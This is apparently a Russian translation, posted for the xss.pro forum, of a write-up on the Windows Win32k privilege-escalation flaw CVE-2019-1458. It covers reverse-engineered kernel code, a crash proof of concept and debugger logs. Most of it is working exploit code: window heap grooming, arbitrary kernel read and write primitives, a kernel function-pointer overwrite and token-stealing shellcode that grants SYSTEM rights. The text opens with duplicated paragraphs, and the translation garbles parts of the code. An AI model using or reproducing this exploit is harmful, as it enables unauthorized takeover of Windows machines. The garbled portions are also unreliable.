Оригинальная статья
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
Камнями кадать в Jolah Milovski
Функция xxxPaintSwitchWindow назначит содержимое, сохраненное в расширенной области, rdi:
Убедитесь, что сохраненный адрес равен 0 и что содержимое сохраненного смещения адреса 0x6C равно 0:
После этого область адресного смещения от 0x5C до 0x6C, сохраненная rdi, будет увеличена или уменьшена.Здесь нетрудно заметить, что значение увеличения или уменьшения определяется возвращаемым значением функции GetDPIMetrics, но это дело не в том, дело в том, что эти операции будут расширять то, что сохраняется в этих адресах, смещенных от rdi:
Проблема здесь очевидна: функция извлекает адрес, хранящийся в первых восьми байтах области расширения, и только проверяет, равен ли адрес 0, и не проверяет, является ли он допустимым или нет. Содержимое в расширенной области может быть изменено функцией SetWindowLong на пользовательском уровне.Пока этот адрес изменен на недопустимый адрес, функция чтения и записи по недопустимому адресу будет генерировать BSOD. Если этот адрес указывает на адрес члена cbwndExtra объекта окна со смещением -0x60, последние операции увеличения и уменьшения будут расширять cbwndExtra.
Первая — это функция NtUserMessageCall, которая вызывает адрес функции, хранящийся в массиве gapfnMessageCall, когда msg < 0x400:
Массив gapfnMessageCall содержит ряд функций, включая NtUserfnINLPDRAWITEMSTRUCT:
Функция NtUserfnINLPDRAWITEMSTRUCT вычисляет смещение через параметр dwType и вызывает функцию, сохраненную в смещении gpsi:
Функция сохранения адреса смещения gpsi инициализируется в функции InitFunctionTables, где xxxWrapSwitchWndProc сохраняется по смещению 0x40, поэтому параметр dwType должен быть равен 0, поэтому 8 * 6 + 0x10 = 0x30 + 0x10 = 0x40, NtUserfnINLPDRAWITEMSTRUCT вызовет xxxWrapSwitchWndProc.
xxxWrapSwitchWndProc вызовет функцию xxxSwitchWndProc:
xxxSwitchWndProc в основном разделен на две части.Первая часть показана на рисунке ниже, которая будет оценивать tagWND->fnid, а fnid только что созданного окна равен 0, поэтому будет установлен самый внешний оператор if. В случае true есть три места, которые могут привести к возврату функции.
Во-первых, поскольку tagWND->fnid равен 0, необходимо определить, меньше ли tagWND->cbwndExtra значения, хранящегося в gpsi + 0x154. Поскольку используется содержимое, хранящееся в первых восьми байтах области расширения, cbwndExtra здесь равно как минимум 8. Итак, чтобы судить, что содержимое, сохраненное смещением gpsi 0x154, больше или равно как минимум 0x130, без других операций [gpsi + 0x154] < 0x130, поэтому это условие не будет выполняться.
Во-вторых, когда переданный параметр msg равен WM_CREATE, функция не вернется:
Третье место не вернется до тех пор, пока начальные восемь байтов расширенной области установлены SetWindowLong не равными 0. Если ни одно из этих трех значений не соответствует действительности, для tagWND->fnid будет установлено значение 0x2A0.
Вторая часть xxxSwitchWndProc заключается в вызове функции уязвимости xxxPaintSwitchWindow:
Когда сообщение WM_ERASEBKGND, xxxSwitchWndProc вызовет xxxPaintSwitchWindow:
Если вы хотите активировать функцию уязвимости, msg не равно 1, но когда msg не равно 1, снова вернется второй код в первой части xxxSwitchWndProc. Таким образом, вам нужно ввести функцию xxxSwitchWndProc дважды.В первый раз, когда msg будет WM_CREATE(0x1), функция установит tagWND->fnid в 0x2A0. Во втором вызове msg можно указать как WM_ERASEBKGND(0x14).В это время, поскольку первая запись устанавливает tagWND->fnid в 0x2A0, xxxSwitchWndProc будет обходить код в первой части и судить непосредственно во второй части сообщения, вызов уязвимая функция xxxPaintSwitchWindow.
В функции xxxPaintSwitchWindow также есть три места, которые необходимо обойти перед получением адреса, хранящегося в первых восьми байтах расширенной области на четвертом месте:
Для первого обхода нужно только указать, что окно видимо при создании окна. В функции xxxSwitchWndProc для tagWND->fnid установлено значение 0x2A0, поэтому нет необходимости в обходе. Третье место — оценка значения [gpsi + 0x154] и cbwndExtra + 0x128.При создании окна cbwndExtra нужно установить только на 8, чтобы завершить запуск и использование. Итак, здесь мы судим, равно ли [gpsi + 0x154] 0x130. При создании окна с именем класса "#32771" для [gpsi + 0x154] будет установлено значение 0x130, поэтому просто создайте такое окно, чтобы обойти его.
Таким образом, шаги, вызывающие уязвимость, следующие:
Установите точку останова на четвертом месте на приведенном выше рисунке, то есть извлеките код адреса, хранящийся в первых восьми байтах области расширения, скомпилируйте и запустите POC, и программа обойдет вышеуказанное суждение и успешно выполнится:
Продолжая выполняться, функция будет считывать восьмибайтовый адрес, хранящийся в расширенной области, и этот адрес был установлен как недопустимый адрес:
Продолжение запуска вызовет BSOD из-за чтения с недопустимого адреса:
При срабатывании уязвимости атака может быть завершена до тех пор, пока не будет найдено ближайшее окно по старшему адресу. На этом этапе адрес, хранящийся в первых восьми байтах области расширения окна, должен быть адресом cbwndExtra, запускающего окно уязвимости, за вычетом адреса смещения 0x60, потому что, когда xxxPaintSwitchWindow выполняет операции сложения и вычитания, оно начинается со смещения 0x5C. Кроме того, до достижения операции сложения и вычитания памяти функция также будет определять, нажата ли клавиша Alt, поэтому перед срабатыванием уязвимости необходимо имитировать сообщение о нажатии клавиши Alt для успешного завершения операций сложения и вычитания.
После успешного расширения cbwndExtra можно использовать SetWindowLong для изменения tagWND старшего адреса, чтобы обеспечить чтение и запись произвольного адреса для завершения повышения привилегий, поэтому код, который запускает уязвимость в это время, выглядит следующим образом:
В коде повышения привилегий используйте tagWND->spwndParent и tagWND->StrName->Buffer, чтобы реализовать чтение и запись произвольного кода, и измените функцию ключа, чтобы добиться повышения привилегий для адреса ShellCode:
Заголовок объекта в это время определяется следующим образом: в настоящее время смещение Body равно 0x30, поэтому после повышения привилегии смещение при увеличении PointerCount равно -0x30:
Соответствующий ShellCode выглядит следующим образом:
Соответствующий код находится по адресу: https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2019-1458.cpp . После успешной компиляции и запуска вы можете успешно повысить привилегии:
отя повышение привилегий может быть успешным, xxxPaintSwitchWindow изменит 0x10 байт данных при срабатывании уязвимости, поэтому будут изменены не только tagWND->cbwndExtra, но и другие элементы, поэтому BSOD будет сгенерирован, когда программа выпустит уязвимость. окно . Я попытался изменить эти измененные данные на 0 или значение других окон, но синий экран все равно возникает.Я не знаю, как это решить, поэтому я подожду, пока другие мастера на форуме изучат.
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
Камнями кадать в Jolah Milovski
Введение
1. Описание уязвимости
Уязвимость существует в функции xxxPaintSwitchWindow Win32k, которая извлекает содержимое, сохраненное в первых восьми байтах области расширения оконного объекта, и использует его в качестве адреса памяти для чтения и записи. Однако содержимое, хранящееся в первых восьми байтах, может быть изменено функцией SetWindowLong, и функция считывает и записывает, не проверяя, указывает ли сохраненное содержимое на юридический адрес.Если адрес недействителен, будет сгенерирована ошибка BSOD. Установив, вы можете использовать функцию для чтения и записи указанного адреса, чтобы расширить cbwndExtra окна, через макет памяти, расположить объект окна недалеко от старшего адреса расширенного окна cbwndExtra и реализовать любое чтение адреса с помощью изменение элементов объекта window.Write и, наконец, повышение привилегий.2. Экспериментальная среда
- ОС: Win7 x64 SP1 Professional Edition
- Компилятор: Visual Studio 2017
- Отладчик: IDA Pro, WinDbg
2. Анализ уязвимостей
Функция уязвимости xxxPaintSwitchWindow имеет только один параметр — структуру tagWND объекта окна, которая в системе win7 x64 занимает всего 128 байт и определяется следующим образом:
Код:
<font style="vertical-align: inherit;">2: kd> dt win32k!tagWND -v
struct tagWND, 170 elements, 0x128 bytes
+0x000 head : struct _THRDESKHEAD, 5 elements, 0x28 bytes
+0x028 state : Uint4B
+0x02c state2 : Uint4B
+0x030 ExStyle : Uint4B
+0x034 style : Uint4B
+0x038 hModule : Ptr64 to Void
+0x040 hMod16 : Uint2B
+0x042 fnid : Uint2B
+0x048 spwndNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x050 spwndPrev : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x058 spwndParent : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x060 spwndChild : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x068 spwndOwner : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x070 rcWindow : struct tagRECT, 4 elements, 0x10 bytes
+0x080 rcClient : struct tagRECT, 4 elements, 0x10 bytes
+0x090 lpfnWndProc : Ptr64 to int64
+0x098 pcls : Ptr64 to struct tagCLS, 25 elements, 0xa0 bytes
+0x0a0 hrgnUpdate : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
+0x0a8 ppropList : Ptr64 to struct tagPROPLIST, 3 elements, 0x18 bytes
+0x0b0 pSBInfo : Ptr64 to struct tagSBINFO, 3 elements, 0x24 bytes
+0x0b8 spmenuSys : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes
+0x0c0 spmenu : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes
+0x0c8 hrgnClip : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
+0x0d0 hrgnNewFrame : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
+0x0d8 strName : struct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes
+0x0e8 cbwndExtra : Int4B
+0x0f0 spwndLastActive : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x0f8 hImc : Ptr64 to struct HIMC__, 1 elements, 0x4 bytes
+0x100 dwUserData : Uint8B
+0x108 pActCtx : Ptr64 to struct _ACTIVATION_CONTEXT, 0 elements, 0x0 bytes
+0x110 pTransform : Ptr64 to struct _D3DMATRIX, 16 elements, 0x40 bytes
+0x118 spwndClipboardListenerNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
+0x120 ExStyle2 : Uint4B </font>
Функция xxxPaintSwitchWindow назначит содержимое, сохраненное в расширенной области, rdi:
Код:
text:FFFFFF97FFF111DEC ; void __fastcall xxxPaintSwitchWindow(__int64 tagWND)
.text:FFFFFF97FFF111DEC
.text:FFFFFF97FFF111E15 xor r13d, r13d
.text:FFFFFF97FFF111E08 mov rsi, rcx ; assign tagWND to rsi
.text:FFFFFF97FFF111E4F mov rdi, [rsi+128h] ; fetch the contents saved in the first eight bytes of the extended area
.text:FFFFFF97FFF111E56 jmp short loc_FFFFF97FFF111E5B
Убедитесь, что сохраненный адрес равен 0 и что содержимое сохраненного смещения адреса 0x6C равно 0:
Код:
.text:FFFFFF97FFF111E5B loc_FFFFF97FFF111E5B:
.text:FFFFFF97FFF111E5B cmp rdi, r13 ; verify that rdi is 0
.text:FFFFFF97FFF111E5E jz loc_FFFFF97FFF112019
// omit part of the code
.text:FFFFFF97FFF111E77 cmp [rdi+6Ch], r13d ; verify that [rdi+0x6C] is saved as 0
.text:FFFFFF97FFF111E7B jz short loc_FFFFF97FFF111E94
После этого область адресного смещения от 0x5C до 0x6C, сохраненная rdi, будет увеличена или уменьшена.Здесь нетрудно заметить, что значение увеличения или уменьшения определяется возвращаемым значением функции GetDPIMetrics, но это дело не в том, дело в том, что эти операции будут расширять то, что сохраняется в этих адресах, смещенных от rdi:
Проблема здесь очевидна: функция извлекает адрес, хранящийся в первых восьми байтах области расширения, и только проверяет, равен ли адрес 0, и не проверяет, является ли он допустимым или нет. Содержимое в расширенной области может быть изменено функцией SetWindowLong на пользовательском уровне.Пока этот адрес изменен на недопустимый адрес, функция чтения и записи по недопустимому адресу будет генерировать BSOD. Если этот адрес указывает на адрес члена cbwndExtra объекта окна со смещением -0x60, последние операции увеличения и уменьшения будут расширять cbwndExtra.
3. Проверка уязвимости
Цепочка вызовов функций, которая вызывает это: NtUserMessageCall -> NtUserfnINLPDRAWITEMSTRUCT -> xxxWrapSwitchWndProc -> xxxSwitchWndProc -> xxxPaintSwitchWindow.Первая — это функция NtUserMessageCall, которая вызывает адрес функции, хранящийся в массиве gapfnMessageCall, когда msg < 0x400:
Код:
__int64 __fastcall NtUserMessageCall(__int64 hwnd, unsigned int msg, __int64 wParam, __int64 lParam, __int64 ResultInfo, int dwType, int a7)
{
if ( (unsigned int)msg < 0x400 )
{
v14 = ((__int64 (__fastcall *)(__int64, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[*(_BYTE *)(msg - 0x68001000000i64 + 0x2A7390) & 0x3F])(
v12,
(unsigned int)msg,
wParam,
lParam,
ResultInfo,
dwType,
v15);
}
}
Массив gapfnMessageCall содержит ряд функций, включая NtUserfnINLPDRAWITEMSTRUCT:
Функция NtUserfnINLPDRAWITEMSTRUCT вычисляет смещение через параметр dwType и вызывает функцию, сохраненную в смещении gpsi:
Код:
__int64 __fastcall NtUserfnINLPDRAWITEMSTRUCT(__int64 a1, unsigned int a2, __int64 a3, const void *a4, __int64 a5, char dwType)
{
return (*(__int64 (__fastcall **)(__int64, _QWORD, __int64, char *, __int64))(gpsi + 8i64 * ((dwType + 6) & 0x1F) + 0x10))( v8,
v7,
v6,
&Dst,
a5);
}
Функция сохранения адреса смещения gpsi инициализируется в функции InitFunctionTables, где xxxWrapSwitchWndProc сохраняется по смещению 0x40, поэтому параметр dwType должен быть равен 0, поэтому 8 * 6 + 0x10 = 0x30 + 0x10 = 0x40, NtUserfnINLPDRAWITEMSTRUCT вызовет xxxWrapSwitchWndProc.
xxxWrapSwitchWndProc вызовет функцию xxxSwitchWndProc:
xxxSwitchWndProc в основном разделен на две части.Первая часть показана на рисунке ниже, которая будет оценивать tagWND->fnid, а fnid только что созданного окна равен 0, поэтому будет установлен самый внешний оператор if. В случае true есть три места, которые могут привести к возврату функции.
Во-первых, поскольку tagWND->fnid равен 0, необходимо определить, меньше ли tagWND->cbwndExtra значения, хранящегося в gpsi + 0x154. Поскольку используется содержимое, хранящееся в первых восьми байтах области расширения, cbwndExtra здесь равно как минимум 8. Итак, чтобы судить, что содержимое, сохраненное смещением gpsi 0x154, больше или равно как минимум 0x130, без других операций [gpsi + 0x154] < 0x130, поэтому это условие не будет выполняться.
Во-вторых, когда переданный параметр msg равен WM_CREATE, функция не вернется:
| 1 | #define WM_CREATE 0x0001 |
Вторая часть xxxSwitchWndProc заключается в вызове функции уязвимости xxxPaintSwitchWindow:
Код:
switch ( msg )
{
case 0x14u:
case 0x3Au:
xxxPaintSwitchWindow(tagWND);
return 0i64;
}
Когда сообщение WM_ERASEBKGND, xxxSwitchWndProc вызовет xxxPaintSwitchWindow:
| 1 | #define WM_ERASEBKGND 0x0014 |
В функции xxxPaintSwitchWindow также есть три места, которые необходимо обойти перед получением адреса, хранящегося в первых восьми байтах расширенной области на четвертом месте:
Для первого обхода нужно только указать, что окно видимо при создании окна. В функции xxxSwitchWndProc для tagWND->fnid установлено значение 0x2A0, поэтому нет необходимости в обходе. Третье место — оценка значения [gpsi + 0x154] и cbwndExtra + 0x128.При создании окна cbwndExtra нужно установить только на 8, чтобы завершить запуск и использование. Итак, здесь мы судим, равно ли [gpsi + 0x154] 0x130. При создании окна с именем класса "#32771" для [gpsi + 0x154] будет установлено значение 0x130, поэтому просто создайте такое окно, чтобы обойти его.
Таким образом, шаги, вызывающие уязвимость, следующие:
- Создает видимое окно с восьмибайтным расширением для запуска эксплойта.
- Вызовите NtUserMessageCall, параметр msg — WM_CREATE(0x1), а для tagWND->fnid установлено значение 0x2A0.
- Установите адрес, хранящийся в первых восьми байтах расширенной области, на недопустимый адрес.
- Создайте окно с именем класса «32771» и установите [gpsi + 0x154] на 0x130.
- Вызовите функцию NtUserMessageCall, параметр msg — WM_ERASEBKGND(0x14), что укажет на функцию уязвимости
Код:
bool poc_cve_2019_1458()
{
BOOL bRet = TRUE.
HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL);
if(!handle)
{
bRet = FALSE.
ShowError("GetModuleHandle", GetLastError()).
Get exit.
}
char *pBuf = "POC";
WNDCLASSEX wc = { 0 };
wc.cbSize = sizeof(wc);
wc.cbWndExtra = 8;
wc.hInstance = handle.
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pBuf;
if(!RegisterClassEx(&wc))
{
bRet = FALSE.
ShowError("RegisterClassEx", GetLastError()).
geto exit;
}
HWND hPocWnd = NULL;
// Create the window used to trigger the vulnerability, specify the window with ws_visible
hPocWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0,
NULL, NULL, handle, NULL).
If (!hPocWnd)
{
bRet = FALSE.
ShowError("CreateWindowEx", GetLastError()).
geto exit;
}
// Set tagWND->fnid to 0x2A0
NtUserMessageCall(hPocWnd, WM_CREATE, 0, 0, 0, 0).
// Set the memory address
SetWindowLongPtrW(hPocWnd, 0, 0x1900);
// Set [gpsi + 0x154] = 0x130
if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0,
NULL, NULL, handle, NULL))
{
bRet = FALSE.
ShowError("CreateWindowEx", GetLastError()).
geto exit;
}
// Trigger the vulnerability
NtUserMessageCall(hPocWnd, WM_ERASEBKGND, 0, 0, 0, 0).
Exit.
return bRet;
}
Установите точку останова на четвертом месте на приведенном выше рисунке, то есть извлеките код адреса, хранящийся в первых восьми байтах области расширения, скомпилируйте и запустите POC, и программа обойдет вышеуказанное суждение и успешно выполнится:
Код:
3: kd> ba e1 win32k!xxxPaintSwitchWindow + 0x63
3: kd> g
Breakpoint 0 hit
win32k!xxxPaintSwitchWindow+0x63:
fffff960`00201e4f 488bbe28010000 mov rdi,qword ptr [rsi+128h]
0: kd> p
win32k!xxxPaintSwitchWindow+0x6a:
fffff960`00201e56 eb03 jmp win32k!xxxPaintSwitchWindow+0x6f (fffff960`00201e5b)
Продолжая выполняться, функция будет считывать восьмибайтовый адрес, хранящийся в расширенной области, и этот адрес был установлен как недопустимый адрес:
Код:
3: kd> p
win32k!xxxPaintSwitchWindow+0x6f:
fffff960`00201e5b 493bfd cmp rdi,r13
3: kd> p
win32k!xxxPaintSwitchWindow+0x72:
fffff960`00201e5e 0f84b5010000 je win32k!xxxPaintSwitchWindow+0x22d (fffff960`00202019)
3: kd> p
win32k!xxxPaintSwitchWindow+0x78:
fffff960`00201e64 33d2 xor edx,edx
3: kd> p
win32k!xxxPaintSwitchWindow+0x7a:
fffff960`00201e66 41b800000100 mov r8d,10000h
3: kd> p
win32k!xxxPaintSwitchWindow+0x80:
fffff960`00201e6c 488bce mov rcx,rsi
3: kd> p
win32k!xxxPaintSwitchWindow+0x83:
fffff960`00201e6f e8dccbfaff call win32k!GetDCEx (fffff960`001aea50)
3: kd> p
win32k!xxxPaintSwitchWindow+0x88:
fffff960`00201e74 488be8 mov rbp,rax
3: kd> p
win32k!xxxPaintSwitchWindow+0x8b:
fffff960`00201e77 44396f6c cmp dword ptr [rdi+6Ch],r13d
3: kd> r rdi
rdi=0000000000001900
3: kd> dq 0000000000001900
00000000`00001900 ????????`???????? ????????`????????
00000000`00001910 ????????`???????? ????????`????????
00000000`00001920 ????????`???????? ????????`????????
00000000`00001930 ????????`???????? ????????`????????
00000000`00001940 ????????`???????? ????????`????????
00000000`00001950 ????????`???????? ????????`????????
00000000`00001960 ????????`???????? ????????`????????
00000000`00001970 ????????`???????? ????????`????????
Продолжение запуска вызовет BSOD из-за чтения с недопустимого адреса:
Код:
1: kd> !analyze -v
Connected to Windows 7 7601 x64 target at (Sun Jun 26 10:54:16.859 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff96000131e77, Address of the instruction which caused the bugcheck
Arg3: fffff88006916ea0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.
CONTEXT: fffff88006916ea0 -- (.cxr 0xfffff88006916ea0)
rax=0000000006010568 rbx=fffff900c08209e0 rcx=0000000000000000
rdx=fffffa800525a630 rsi=fffff900c08209e0 rdi=0000000000001900
rip=fffff96000131e77 rsp=fffff88006917880 rbp=0000000006010568
r8=0000000000000000 r9=0000000000000000 r10=fffff880069176c0
r11=fffffa800525a630 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010282
win32k!xxxPaintSwitchWindow+0x8b:
fffff960`00131e77 44396f6c cmp dword ptr [rdi+6Ch],r13d ds:002b:00000000`0000196c=????????
Resetting default scope
PROCESS_NAME: exp_x64.exe
STACK_TEXT:
win32k!xxxPaintSwitchWindow+0x8b
win32k!xxxSwitchWndProc+0xc5
win32k!xxxWrapSwitchWndProc+0x3c
win32k!NtUserfnDWORD+0x27
win32k!NtUserMessageCall+0x132
nt!KiSystemServiceCopyEnd+0x13
exp_x64+0x107b
exp_x64+0x3f81a
4. Использование уязвимостей
Для эксплуатации этой уязвимости необходимо расположить еще одно окно для атаки недалеко от старшего адреса окна, которое запускает уязвимость, поэтому необходимо сначала создать несколько окон для атаки, а затем освободить часть посередине, поэтому что окно, созданное при срабатывании уязвимости, займет освобожденное окно, а высокий адрес сохранит другие окна. Соответствующий код выглядит следующим образом:
Код:
BOOL Init_CVE_2019_1458(HWND *hWndList)
{
BOOL bRet = TRUE.
WNDCLASSEX wc = { 0 }
char *pAttackName = "attack".
DWORD i = 0;
HINSTANCE handle = NULL.
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE.
ShowError("GetModuleHandle", GetLastError()).
Get exit.
}
memset(&wc, 0, sizeof(wc)).
wc.cbSize = sizeof(wc);
wc.hInstance = GetModuleHandle(NULL).
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pAttackName;
wc.cbWndExtra = 8;
if(!RegisterClassEx(&wc))
{
ShowError("RegisterClassEx", GetLastError()).
bRet = FALSE.
Get exit.
}
// Create the window used for the attack
for (i = 0; i < 100; i++)
{
hWndList[i] = CreateWindowEx(NULL,
pAttackName,
"hacked window".
WS_VISIBLE,
0, 0, 0, 0,
NULL.
0,
Processing.
0);
if(!hWndList[i])
{
ShowError("CreateWindowEx", GetLastError()).
bRet = FALSE.
Get exit.
}
}
// Free a portion of this to save the window created when the vulnerability was triggered
for (i = 20; i < 80; i += 2)
{
if (!DestroyWindow(hWndList[i]))
{
ShowError("DestroyWindow", GetLastError()).
bRet = FALSE.
geto exit;
}
hWndList[i] = NULL.
}
exit.
Returns bRet.
}
При срабатывании уязвимости атака может быть завершена до тех пор, пока не будет найдено ближайшее окно по старшему адресу. На этом этапе адрес, хранящийся в первых восьми байтах области расширения окна, должен быть адресом cbwndExtra, запускающего окно уязвимости, за вычетом адреса смещения 0x60, потому что, когда xxxPaintSwitchWindow выполняет операции сложения и вычитания, оно начинается со смещения 0x5C. Кроме того, до достижения операции сложения и вычитания памяти функция также будет определять, нажата ли клавиша Alt, поэтому перед срабатыванием уязвимости необходимо имитировать сообщение о нажатии клавиши Alt для успешного завершения операций сложения и вычитания.
После успешного расширения cbwndExtra можно использовать SetWindowLong для изменения tagWND старшего адреса, чтобы обеспечить чтение и запись произвольного адреса для завершения повышения привилегий, поэтому код, который запускает уязвимость в это время, выглядит следующим образом:
Код:
BOOL Trigger_CVE_2019_1458(HWND *hWndList)
{
BOOL bRet = TRUE;
HINSTANCE handle = NULL;
lHMValidateHandle HMValidateHandle = NULL;
handle = GetModuleHandle(NULL);
if (!handle)
{
bRet = FALSE;
ShowError("GetModuleHandle", GetLastError());
goto exit;
}
HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
if (!HMValidateHandle)
{
bRet = FALSE;
goto exit;
}
char *pBuf = "Trigger";
WNDCLASSEX wc = { 0 };
wc.cbSize = sizeof(wc);
wc.cbWndExtra = 8;
wc.hInstance = handle;
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = pBuf;
if (!RegisterClassEx(&wc))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
HWND hTriggerWnd = NULL;
// Create the window used to trigger the vulnerability, specify the window with WS_VISIBLE
hTriggerWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0,
NULL, NULL, handle, NULL);
if (!hTriggerWnd)
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
// Find the window used to attack
ULONG64 ulTriggerAddr = 0, ulAttackAddr = 0, i = 0;
PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);
ulTriggerAddr = (ULONG64)pTriggerHead->pSelf;
HWND hAttackWnd = NULL;
for (i = 0; i < 100; i++)
{
if (hWndList[i])
{
PTHRDESKHEAD pAttackHead = (PTHRDESKHEAD)HMValidateHandle(hWndList[i], TYPE_WINDOW);
ulAttackAddr = (ULONG64)pAttackHead->pSelf;
if (ulAttackAddr > ulTriggerAddr && ulAttackAddr - ulTriggerAddr < 0xFF0000)
{
hAttackWnd = hWndList[i];
break;
}
}
}
if (!hAttackWnd)
{
printf("Do not find Attack tagWND\n");
bRet = FALSE;
goto exit;
}
// Set tagWND->fnid to 0x2A0
NtUserMessageCall(hTriggerWnd, WM_CREATE, 0, 0, 0, 0, 0);
//Setting the memory address
ULONG64 ulValue = ulTriggerAddr + 0xE8 - 0x60;
SetWindowLongPtrW(hTriggerWnd, 0, ulValue);
// Settings [gpsi + 0x154] = 0x130
if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0,
NULL, NULL, handle, NULL))
{
bRet = FALSE;
ShowError("CreateWindowEx", GetLastError());
goto exit;
}
// Simulate Alt button
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
// Trigger vulnerability
NtUserMessageCall(hTriggerWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0);
ULONG64 ulOffset = ulAttackAddr - ulTriggerAddr - 0x128;
if (!EnablePrivilege_CVE_2019_1458(hTriggerWnd, hAttackWnd, ulOffset))
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
В коде повышения привилегий используйте tagWND->spwndParent и tagWND->StrName->Buffer, чтобы реализовать чтение и запись произвольного кода, и измените функцию ключа, чтобы добиться повышения привилегий для адреса ShellCode:
Код:
BOOL EnablePrivilege_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, ULONG64 ulOffset)
{
BOOL bRet = TRUE.
PVOID pTargetAddr = NULL;
pTargetAddr = GetHalQuerySystemInformation().
if (!pTargetAddr)
{
bRet = FALSE.
geto exit;
}
ULONG64 ulOrgFunAddr = 0;
// Get the original function address
ulOrgFunAddr = ReadData_CVE_2019_1458 (hTriggerWnd, hAttackWnd, pTargetAddr, ulOffset).
// Modify the function to ShellCode address
WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ShellCodeInWin7, ulOffset) .
// Call function to execute ShellCode to achieve lifting
If (!CallNtQueryIntervalProfile())
{
bRet = FALSE.
Just exit.
}
// Restore the original function
WriteData_CVE_2019_1458 (hTriggerWnd, hAttackWnd, pTargetAddr, (PVOID)ulOrgFunAddr, ulOffset).
Exit.
return bRet;
}
VOID WriteData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, PVOID pValue, ULONG64 ulOffset)
{
BOOL bRet = TRUE;
// Set the address to be written to
SetWindowLongPtrW(hTriggerWnd, ulOffset + 0xE0, (ULONG64)pTargetAddr) .
LARGE_UNICODE_STRING lstrData = { 0 }
lstrData.Length = 0x8;
lstrData.MaximumLength = 0xA;
lstrData.Buffer = (PWCHAR)&pValue;
NtUserDefSetText (hAttackWnd, &lstrData).
}
ULONG64 ReadData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, ULONG64 ulOffset)
{
ULONG64 ulOrg = 0, ulOrgPar = 0;
ULONG64 ulParOffset = ulOffset + 0x58;
// get tagWND->spwndParent
ulOrgPar = GetWindowLongPtrW(hTriggerWnd, ulParOffset);
// Set tagWND->spwndParent as the target address
SetWindowLongPtrW(hTriggerWnd, ulParOffset, (ULONG64)pTargetAddr) .
// Read the content of the target address
ulOrg = (ULONG64)GetAncestor(hAttackWnd, GA_PARENT);
// Recover tagWND->spwndParent
SetWindowLongPtrW(hTriggerWnd, ulParOffset, ulOrgPar).
Return ulOrg.
}
5. Запуск результатов
В системе Win7 x64 смещения ключевых членов, используемые для повышения привилегий, следующие:
Код:
3: kd> dt _EPROCESS
ntdll!_EPROCESS
+0x180 UniqueProcessId : Ptr64 Void
+0x188 ActiveProcessLinks : _LIST_ENTRY
+0x208 Token : _EX_FAST_REF
Заголовок объекта в это время определяется следующим образом: в настоящее время смещение Body равно 0x30, поэтому после повышения привилегии смещение при увеличении PointerCount равно -0x30:
Код:
kd> dt _OBJECT_HEADER
nt!_OBJECT_HEADER
+0x000 PointerCount : Int8B
+0x008 HandleCount : Int8B
+0x008 NextToFree : Ptr64 Void
+0x010 Lock : _EX_PUSH_LOCK
+0x018 TypeIndex : UChar
+0x019 TraceFlags : UChar
+0x01a InfoMask : UChar
+0x01b Flags : UChar
+0x020 ObjectCreateInfo : Ptr64 _OBJECT_CREATE_INFORMATION
+0x020 QuotaBlockCharged : Ptr64 Void
+0x028 SecurityDescriptor : Ptr64 Void
+0x030 Body : _QUAD
Соответствующий ShellCode выглядит следующим образом:
Код:
ShellCodeInWin7 proc
push r8
push r9
get current thread_ETHREAD from KPCR
mov rax, gs:[188h]
; get current process_EPROCESS from _ETHREAD
mov rax, [rax + 70h]
mov r8, rax
find_system_proc:
; Get the next process EPROCESS address
mov rax, [rax + 188h]
sub rax, 188h
Get PID
mov rdx, [rax + 180h]
; determine if pid is 4, skip if not 4
cmp rdx, 4
jne find_system_proc
assign system's token to this process, and increase the reference count
mov rax, [rax + 208h]
and al, 0f0h
mov [r8 + 208h], rax
mov r9, 2
add [rax - 30h], r9
Set the return value and exit the function
mov rax, 1
pop r9
pop r8
ret
ShellCodeInWin7 endp
